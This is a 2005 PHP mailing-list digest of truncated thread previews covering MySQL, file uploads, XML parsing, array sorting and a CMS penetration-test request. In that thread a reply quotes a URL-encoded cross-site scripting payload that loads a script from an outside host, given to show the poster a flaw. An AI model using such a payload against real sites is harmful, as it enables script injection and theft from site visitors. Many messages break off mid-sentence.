php-general Digest 27 May 2005 14:06:46 - Issue 3478
Topics (messages 215845 through 215855):
passthru in IE: fullscreen display of SWF
215845 by: dc
Report
215846 by: MAILER-DAEMON
php uncongruence (or config?)
215847 by: Miguel Vaz
215853 by: Jochem Maas
ALERT!
This e-mail, in its original form, contained one or more attached files that
were infected with a virus, worm, or other type of security threat. This e-mail
was sent from a Road Runner IP address. As part of our continuing initiative to
stop the spread of malicious viruses, Road Runner
Hi Jim,
MySQL have changed the password hashing in version 4.1
Go to your mysql command prompt. If you are using windows you can find it
from
Start MySQL MySQL Server 4.1 MySQL Command Line Client.
Or something like that...
Type the following, replacing your values for some user, some host
Is there a quick and dirty way to include, file, or fsockopen content
from a remote server and make it appear as though the request was
straight from the browser's remote address?
Thank you for your assistance.
Respectfully,
Gary
--
PHP General Mailing List (http://www.php.net/)
To
Hi All,
I got this .sql script that setup the whole db schema, I can run
mysql.exe to run on my pc but when it goes to a hosting company's server I
don't have that command!
So I tried to include(setup.sql) into a string and send that as one
long sql query. BUT I need to get rid of all
Dear friends,
we are using php for developing a small tool for uploading files for
download
(publications). Using the usual move_uploaded_file, the publications are
loaded into a directory where the webserver can write / read.
Unfortunately, that means every person who connects to the
Miguel Vaz wrote:
Hi,
I am confused as to how to solve this simple problem. Although
it seems as some little config issue i am missing.
its the fact that your hosting provider is using an older php version
than you are at home (I'm guessing here, but it seems the most
ALERT!
This e-mail, in its original form, contained one or more attached files that
were infected with a virus, worm, or other type of security threat. This e-mail
was sent from a Road Runner IP address. As part of our continuing initiative to
stop the spread of malicious viruses, Road Runner
Hi all
I recently decided to switch to xml for the configuration of our programs.
I am now looking for a good way to handle that xml data.
Basically, what I am looking for is a functionality where I say
Get tag x with attribute1=y, attribute2=z,..., read its contents and put it in
an
verffentlicht per Mail versendet
symbulos wrote:
Dear friends,
we are using php for developing a small tool for uploading files for
download
(publications). Using the usual move_uploaded_file, the publications are
loaded into a directory where the webserver can write / read.
tony yau wrote:
Hi All,
I got this .sql script that setup the whole db schema, I can run
mysql.exe to run on my pc but when it goes to a hosting company's server I
don't have that command!
So I tried to include(setup.sql) into a string and send that as one
long sql query. BUT I need to
I'm assuming that the .sql file consists of a list of MySQL queries,
that when performed sequentially will set up your system.
That being the case, the perfered way ot install the thing is to do a
'mysql [host/username/password parameters] file.sql'.
I believe you can also run file.sql scripts
Hi all
I recently decided to switch to xml for the configuration of our programs.
I am now looking for a good way to handle that xml data.
Basically, what I am looking for is a functionality where I say
Get tag x with attribute1=y, attribute2=z,..., read its contents and put it in
an
Make sure you don't have any blankspace before or after the ?php ... ?
in your stats.php file. That's usually what does it.
On Sat, 21 May 2005, Ross wrote:
I have the folowing code which checks whether the user has logged in.
if (!isset ($_SESSION['new_session'] ) )
{
$login_status = div
Hello,
on 05/23/2005 06:19 AM Andy Pieters said the following:
I am looking at where I can get my system tested for penetration.
In case someone here would like to have a go
This is the url
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/
It is actually a kind of CMS system so if
Hi all,
Ok here is what I need help with:
$var = i like fi'sh;
I'm able to addslashes(gather the data from a form), submit into the
database, stripslashes(retrieve it).
My problem is when I display it in a input type=text form the single
quote is causing a truncation.
input type=text
[snip]
There could be several ways to do this. One would be to set a variable
to the value 'joint_' (or some other value) and append that to the
variables of the second form once the first form is complete
$2nd_form_var_prefix = 'joint_';
if(complete == $all_first_form_vars){
Hi, dumb config issue.
I'm putting a php_value include_path statement in an .htaccess file
php_value include_path .:/home/user/public_html/dis/admin/:/home/nick/
php_value auto_prepend_file /home/user/public_html/dis/admin/wcsconf.php
and getting a 500 Server Error. Apache logs say,
If it were that important, then you could probably figure out a way to
get OOo, to do it through Uno.
On 5/25/05, Brent Baisley [EMAIL PROTECTED] wrote:
I've only read about being able to generate a Word document if you are
running under Windows (which I am not). I gave up long ago trying to
Hi,
Am looking for opensource blogging engine that does per user per blog with PHP
and mySQL and authenticates user thru LDAP.
Best rgds,
Roger
---
Sign Up for free Email at http://ureg.home.net.my/
Hi there I am mocking up a quick voting poll system, however I would
like to put hooks in place to prevent users posting more than once,
voting bots etc. Is there a way to prevent them, obviously sessions,
cookies, host ips cant be used as they can be removed, and especially
with host ips ,
Before we get ahead of ourselves, can we ask what OS you're using George?
If you're using Windows, then you have COM. If you're not insane, then
you'll have to use unix tools. For turning documents TO word docs,
then the only way I can think of is to script OOo in some way.
I'm assuming that
Hi all.
I know this isn't php related, but I'm not subscribed to an apache
mailing list, and this is probably the closest of all the mailing
lists I'm subscribed to, to the topic.
I tried to enable CGI in my $HOME/public_html directory, by adding the
ExecCGI option, to the Directory
Chris W. Parker wrote:
Marek Kilimajer mailto:[EMAIL PROTECTED]
on Thursday, May 26, 2005 11:35 AM said:
untested:
function display($array, $prefix = '') {
echo $prefix ':' . $array['name'] . \n;
if(is_array($array['children']) $array['children']) {
Chris W. Parker wrote:
Hi everyone,
I've been working on a problem for a few days now and I'm not making any
headway so I think it's time I come to the list for some help (though
this really disappoints me since it appears I'm not capable of solving
this problem on my own!).
Anyway, I'm
-Original Message-
From: symbulos [mailto:[EMAIL PROTECTED]
Sent: Friday, May 27, 2005 1:00 PM
Unfortunately, that means every person who connects to the directory can
see
the files. If some of the files are for sale, how do you stop the user
from
seeing them / downloading them
sprintf()
http://php.net/manual/en/function.sprintf.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Chris W. Parker wrote:
Hi everyone,
I've been working on a problem for a few days now and I'm not making any
headway so I think it's time I come to the list for some help (though
this really disappoints me since it appears I'm not capable of solving
this problem on my own!).
Anyway, I'm using
Hello list,
I have an array which holds some objects. Each object represent elements
from an email header in a given mailbox. Each object has properties like
from, sendtime, subject etc.
I want to sort the order of the objects in the array by their attribute
sendtime in order to get a list
Andy Pieters wrote:
Hi all
I recently decided to switch to xml for the configuration of our programs.
I am now looking for a good way to handle that xml data.
Basically, what I am looking for is a functionality where I say
Get tag x with attribute1=y, attribute2=z,..., read its contents and
Reto M. Kiefer wrote:
...
PS: The array has the following structure:
Array (
[0] = mail_Header Object ( [id] = 1 [pid] = 1 [read] = r
[flagged] = n [from] = [EMAIL PROTECTED] [subject] = Re: [ugffm] TYPO3
anybody ? [sendtime] = 2005.05.17 - 18:27:25 )
[1] = mail_Header Object (
JM wrote:
Hi all,
Ok here is what I need help with:
$var = i like fi'sh;
I'm able to addslashes(gather the data from a form), submit into the
database, stripslashes(retrieve it).
My problem is when I display it in a input type=text form the single
quote is causing a truncation.
Ciao!
I really hope someone can help me on this, since I have been putting
in to much time in it now, and I have to show off some results ;)
The problem is that I can't browse nodelists in only one dimension,
that is, whitout getting the sub-nodes of the nodes.
My XML reads:
element
Dan Rossi wrote:
Hi there I am mocking up a quick voting poll system, however I would
like to put hooks in place to prevent users posting more than once,
voting bots etc. Is there a way to prevent them, obviously sessions,
cookies, host ips cant be used as they can be removed, and especially
Food:Fruit:Red
Food:Fruit:Green
Food:Fruit:Yellow
Food:Vegetables:Long
Food:Vegetables:Round
Food:Vegetables:Round:Spikey
Food:Vegetables:Round:Smooth
How is your structure being built? Is it hard-coded or dynamic (e.g.
pulled from a DB)? We employ a similar tree structure for manging
JM wrote:
Hi all,
Ok here is what I need help with:
$var = i like fi'sh;
I'm able to addslashes(gather the data from a form), submit into the
database, stripslashes(retrieve it).
My problem is when I display it in a input type=text form the single
quote is causing a truncation.
input
Thanks everybody for all the useful suggestions.
That way´s just fine. You could upload directly to the dir outside
webscope if You like?
How do we do that?
Thanks in advance.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
I need to be able to format data.
Printf() is perfect because I need a certain amount of characters (30
for address).
However I need this formatted data to be inside a file that's fwrite()
and then FTPed to a distributor who will parse it and input into their
database.
printf(%
ALERT!
This e-mail, in its original form, contained one or more attached files that
were infected with a virus, worm, or other type of security threat. This e-mail
was sent from a Road Runner IP address. As part of our continuing initiative to
stop the spread of malicious viruses, Road Runner
On 5/26/05, Dan Rossi [EMAIL PROTECTED] wrote:
Hi there I am mocking up a quick voting poll system, however I would
like to put hooks in place to prevent users posting more than once,
voting bots etc.
You could use a captcha(www.captcha.net afaik), to prevent bots from voting.
Is there a way
You may want to try Security Space services. They perform many types of
security checks remotely including penetration tests that may reveal
serious vulnerabilities in your servers. Such vulnerabilities include
holes, in your server OS version, Web and e-mail servers and even in the
PHP
On 5/26/05, Victor Spång Arthursson [EMAIL PROTECTED] wrote:
Ciao!
I'm selecting an element in the xml using xpath. I know there is only
one element matching the xpath-query, but still I get the result as a
list. Nevermind.
This list is of the type domnodelist, on which only one action is
on 05/23/2005 06:19 AM Andy Pieters said the following:
I am looking at where I can get my system tested for penetration.
In case someone here would like to have a go
This is the url
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/
It is actually a kind of CMS system so if
Then this is what I would suggest.
$alph = array('*', 'A', 'B','C'...etc) ;
$i=0;
EchoSelect name=foo;
While($alph[$i]){
echooption value=$alph[$i]$alph[$i];
$i++;
}
Echo/Select;
On 5/25/05 9:54 PM, MIGUEL ANTONIO GUIRAO AGUILAR
[EMAIL PROTECTED] wrote:
Yes, because I will create a
Hello,
on 05/27/2005 02:30 PM Ryan A said the following:
You may want to try Security Space services. They perform many types of
security checks remotely including penetration tests that may reveal
serious vulnerabilities in your servers. Such vulnerabilities include
holes, in your server OS
On Friday 27 May 2005 19:11, Rasmus Lerdorf wrote:
You have all sorts of problems at that URL. To start with, here is a
cross-site scripting hack:
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/?%22%3E%3Cscript%09
src%3D%22http://3423329163/v
Hi Thank you! I just saw the potential
Gary C. New wrote:
Is there a quick and dirty way to include, file, or fsockopen content
from a remote server and make it appear as though the request was
straight from the browser's remote address?
Thank you for your assistance.
Respectfully,
Gary
I believe you would in effect by
Andy Pieters wrote:
On Friday 27 May 2005 19:11, Rasmus Lerdorf wrote:
You have all sorts of problems at that URL. To start with, here is a
cross-site scripting hack:
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/?%22%3E%3Cscript%09
src%3D%22http://3423329163/v
Hi Thank you! I
[snip]
I need to be able to format data.
Printf() is perfect because I need a certain amount of characters (30
for address).
However I need this formatted data to be inside a file that's fwrite()
and then FTPed to a distributor who will parse it and input into their
database.
printf(%
Steve Brown mailto:[EMAIL PROTECTED]
on Thursday, May 26, 2005 11:47 AM said:
How is your structure being built? Is it hard-coded or dynamic (e.g.
pulled from a DB)?
From a database.
We employ a similar tree structure for manging
items in our store front. Believe me when I say, its a
What function do I use to convert an ASCII character into it's
equivalent number?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Hi all -
I came across a very odd bug in 4.3.10 (and 4.3.11). It's not in
4.3.4, and it's not in 5.0.4.
My understanding is that in 4.x objects are assigned by value. So, why in
the first part of the code is the output of serialize() indicating a
reference? This would suggest that
What function do I use to convert an ASCII character into it's
equivalent number?
--
Sorry, I think my spam filters got any responses. If you replied,
could you please resend it to me?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
I'm using the rawurldecode() function to try and polish up some data
I get from a parameter
I use the function below and this is what it does. It's as-if it
only unencodes the last part. Anybody have ideas on what I'm doing
wrong?
$order = rawurldecode($HTTP_GET_VARS[x]);
I'm using the rawurldecode() function to try and polish up some data
I get from a parameter
I use the function below and this is what it does. It's as-if it
only unencodes the last part. Anybody have ideas on what I'm doing
wrong?
$order = rawurldecode($HTTP_GET_VARS[x]);
Hello all-
I was wondering if anyone knew of a way to call a web site using fopen.
Let me tell you how things are set up and what I'm trying to do. I
can call fopen to read a site and then echo it back out. That's not a
problem. The problem I run into is when I try to go to a restricted
On 5/27/05, Chris W. Parker [EMAIL PROTECTED] wrote:
Let's say you're entering a new product, you'd want to see a list of all
the available categories, not just the last node of a branch.
Not neccesarily; it depends on how big your tree structure is. If you
only have 10 categories where an
On Sat, 2005-05-21 at 06:30, Ross wrote:
I have the folowing code which checks whether the user has logged in.
if (!isset ($_SESSION['new_session'] ) )
{
$login_status = div class=\standard_text\Your are not signed in
/div;
}
if (isset ($_SESSION['new_session'] ) )
{
$address =
** email gagging, sorry if this is a DP **
On 5/27/05, Chris W. Parker [EMAIL PROTECTED] wrote:
Let's say you're entering a new product, you'd want to see a list of all
the available categories, not just the last node of a branch.
Not neccesarily; it depends on how big your tree structure is.
On Fri, 27 May 2005 13:57:12 -0500, in php.general [EMAIL PROTECTED]
(Jay Paulson) wrote:
For example, in my Apache httpd.conf file I have it set up to where I
have a directory that is only accessible from certain IP addresses, one
of which is 127. (the localhost). The script I'm running is
www.php.net/chr or www.php.net/ord
forget which is which - I always have to check.
On 5/25/05, Jeremy Reynolds [EMAIL PROTECTED] wrote:
What function do I use to convert an ASCII character into it's
equivalent number?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe,
or
foreach(range('A', 'Z') as $letter){
echo option value='$letter'$letter/option
}
www.php.net/range
On 5/27/05, Rory Browne [EMAIL PROTECTED] wrote:
I didn't see the OP, but:
for($i = 'A'; $i != 'Z'; $i = chr(ord($i) +1)){
echo \toption value=\$i\$i/option\n;
}
On 5/26/05,
Hello all-
I was wondering if anyone knew of a way to call a web site using fopen.
Let me tell you how things are set up and what I'm trying to do. I
can call fopen to read a site and then echo it back out. That's not a
problem. The problem I run into is when I try to go to a restricted
I didn't see the OP, but:
for($i = 'A'; $i != 'Z'; $i = chr(ord($i) +1)){
echo \toption value=\$i\$i/option\n;
}
On 5/26/05, Stephen Johnson [EMAIL PROTECTED] wrote:
Then this is what I would suggest.
$alph = array('*', 'A', 'B','C'...etc) ;
$i=0;
EchoSelect name=foo;
snip
Umm, you forgot to mention that you are connected to that site and you
get a commision for sending them clients, if they sign up.
Nothing wrong with getting an affiliate buck mind you, I have a few
affiliate accounts around too, but I (and others on the list i have
noticed, Jay B for
I'm using the rawurldecode() function to try and polish up some data
I get from a parameter
I use the function below and this is what it does. It's as-if it
only unencodes the last part. Anybody have ideas on what I'm doing
wrong?
$order = rawurldecode($HTTP_GET_VARS[x]);
Hi,
I have a PEAR-related question. My class library using some PEAR
packages, and I would like to make it self-contained, i.e. to be able
to move it to a server (for example MacOS X) which do not have (and
will not require) installation of any PEAR package(s).
What I would like to do is just
On 5/27/05, Manuel Lemos [EMAIL PROTECTED] wrote:
Hello,
on 05/27/2005 02:30 PM Ryan A said the following:
You may want to try Security Space services. They perform many types of
security checks remotely including penetration tests that may reveal
serious vulnerabilities in your servers.
What function do I use to convert an ASCII character into it's equivalent
number?
http://us2.php.net/ord
int ord ( string string )
Returns the ASCII value of the first character of string. This function
complements chr().
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe,
Rasmus Lerdorf mailto:[EMAIL PROTECTED]
on Friday, May 27, 2005 4:15 PM said:
He was apparently doing something along the lines of:
foreach($_GET as $key=$val) {
echo EOL
input type=hidden name=$key value=$val
EOL;
}
Probably just a lazyness thing. Generally you will want
ALERT!
This e-mail, in its original form, contained one or more attached files that
were infected with a virus, worm, or other type of security threat. This e-mail
was sent from a Road Runner IP address. As part of our continuing initiative to
stop the spread of malicious viruses, Road Runner
Steve Brown mailto:[EMAIL PROTECTED]
on Friday, May 27, 2005 2:17 PM said:
So in your case, if you wanted to create a new item in the category
Round, you would first have to navigate to Food Vegetables
Round, then create the new item. This may seem more complicated,
but think about how
I am trying to compile phpcap-0.2e with php-4.2.3 and get the following
configure error:
./configure: line 52860: syntax error near unexpected token
`PHP_NEW_EXTENSION(phpcap,'
./configure: line 52860: ` PHP_NEW_EXTENSION(phpcap, phpcap.c,
$ext_shared)'
The phpcap INSTALL file show
Chris W. Parker wrote:
One question. (Because I'm a lame brain when it comes to security as I'm
not good at imagining how things can be exploited):
Is it bad to give field names the same name as their database
counterpart? i.e. In a database the first name column might be known as
'fname'.
Rasmus Lerdorf mailto:[EMAIL PROTECTED]
on Friday, May 27, 2005 11:58 AM said:
You have all sorts of problems at that URL. To start with, here is
a cross-site scripting hack:
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/?%22%3E%3Cscript
%09
src%3D%22http://3423329163/v
On Wed, 2005-05-25 at 16:11, Jeremy Reynolds wrote:
What function do I use to convert an ASCII character into it's
equivalent number?
--
Sorry, I think my spam filters got any responses. If you replied,
could you please resend it to me?
ord()
--
PHP General Mailing List
On 5/27/05, Jay Paulson [EMAIL PROTECTED] wrote:
Hello all-
I was wondering if anyone knew of a way to call a web site using fopen.
Let me tell you how things are set up and what I'm trying to do. I
can call fopen to read a site and then echo it back out. That's not a
problem. The
I was wondering if anyone knew of a way to call a web site using fopen. Let
me tell you how things are set up and what I'm trying to do. I can call
fopen to read a site and then echo it back out. That's not a problem. The
problem I run into is when I try to go to a restricted area of a
On Wed, 2005-05-25 at 16:01, Jeremy Reynolds wrote:
What function do I use to convert an ASCII character into it's
equivalent number?
ord()
--
s/:-[(/]/:-)/g
BrianGnuPG - KeyID: 0x04A4F0DC | Key Server: pgp.mit.edu
Chris W. Parker wrote:
Rasmus Lerdorf mailto:[EMAIL PROTECTED]
on Friday, May 27, 2005 11:58 AM said:
You have all sorts of problems at that URL. To start with, here is
a cross-site scripting hack:
http://www.vlaamse-kern.com/yourstore-0.0.2-beta1/admin/?%22%3E%3Cscript
%09
On Saturday 28 May 2005 01:05, Chris W. Parker wrote:
Rasmus Lerdorf mailto:[EMAIL PROTECTED]
on Friday, May 27, 2005 11:58 AM said:
You have all sorts of problems at that URL. To start with, here is
a cross-site scripting hack:
Ryan Grange wrote:
Gary C. New wrote:
Is there a quick and dirty way to include, file, or fsockopen content
from a remote server and make it appear as though the request was
straight from the browser's remote address?
Thank you for your assistance.
Respectfully,
Gary
I believe you
Hi,
I have requested the free test several times and it was very useful
because it brought my attention to aspects that I was not considering,
some related to PHP in specific and other related to Internet in
general.
fair enough, you could have given him the link the the page directly
Philip Hallstrom wrote:
Hi all -
I came across a very odd bug in 4.3.10 (and 4.3.11). It's not in
4.3.4, and it's not in 5.0.4.
looks like a problem related to copy-on-change strategy php uses (that
is when a copy is made its only actually copied if and when you change the
copy, until
Hello,
on 05/27/2005 05:30 PM Rory Browne said the following:
You may want to try Security Space services. They perform many types of
security checks remotely including penetration tests that may reveal
serious vulnerabilities in your servers. Such vulnerabilities include
holes, in your server
Has anyone ever used Russ Johnston's modified Mapgpie RSS to cache to
a database? I'm trying to, but no records are being written to the
database - just wondering if anyone's had success. Thanks.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit:
Hello,
on 05/27/2005 06:46 PM Ryan A said the following:
-
I have requested the free test several times and it was very useful
because it brought my attention to aspects that I was not considering,
some related to PHP in specific and other related to Internet in general.
-
fair enough,
Thx,
It's amazing how sleep helps. Couldn't believe that when I read
sprintf() I didn't see how it did exactly what I was looking for.
Thx all
mayo
-Original Message-
From: mayo [mailto:[EMAIL PROTECTED]
Sent: Thursday, May 26, 2005 11:35 PM
To: php-general@lists.php.net
Subject:
88 matches
Mail list logo